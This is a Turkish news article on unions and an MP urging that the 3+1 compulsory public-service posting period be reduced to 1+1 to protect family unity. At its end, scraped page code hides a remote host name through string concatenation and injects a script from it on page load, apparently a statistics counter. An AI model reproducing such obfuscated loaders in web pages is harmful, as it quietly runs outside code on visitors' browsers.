Sendika

Genç Sağlık Sendikası'ndan ‘3+1 Sistemi’ İtirazı: 1+1 Talepleri Meclis Gündeminde

Genç Sağlık Sendikası’nın ısrarla gündemde tuttuğu "3+1" sistemi, yeniden Meclis'te tartışma konusu oldu.

Abone Ol

Adana Milletvekili Ayhan Barut, 3+1 sisteminin çalışanlar üzerindeki olumsuz etkilerine dikkat çekti.

"3+1 Sistemi, Çalışanlar İçin Mağduriyet Yaratıyor"

Barut, 3+1 yıllık zorunlu çalışma süresinin birçok kamu çalışanı için mağduriyete yol açtığını ifade etti. Sağlık ve Milli Eğitim gibi birçok sektörde, çalışanların 4 yıl boyunca aynı yerde görev yapma zorunluluğunun aile birliği ve sosyal hayat üzerinde olumsuz etkiler yarattığını vurguladı.

Sendikalardan Ortak Talep: 1+1’e Geçiş

Kamu Birliği Konfederasyonu Başkanı Osman Kaya ve diğer sendikalar, 3+1 zorunlu çalışma süresinin 1+1’e düşürülmesi gerektiğini savundu. Çalışanların farklı bölgelere tayin olma imkanı bulması ve aile bütünlüğünü koruması için bu düzenlemenin şart olduğunu belirtti.

Aile Birliğine Etki: Zorunlu Görev Süresi Sorun Olmaya Devam Ediyor

Barut, "Kamuda yeni atananlar, 4 yıl aynı yerde çalışma zorunluluğuyla adeta sıkışıp kalıyor. Bu durum aile birliğini zedeliyor, eşler ve çocuklar mağdur oluyor," diyerek, 1+1 sistemine geçilmesi gerektiğini yineledi.

Mağduriyetin Giderilmesi İçin Meclis’te Adım Atılması Bekleniyor

Sendikalar ve çalışanlar, aile birliğini ve sosyal dengeyi korumak adına 3+1 sisteminin kaldırılarak, daha esnek bir 1+1 çalışma süresi modeline geçilmesini istiyor.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }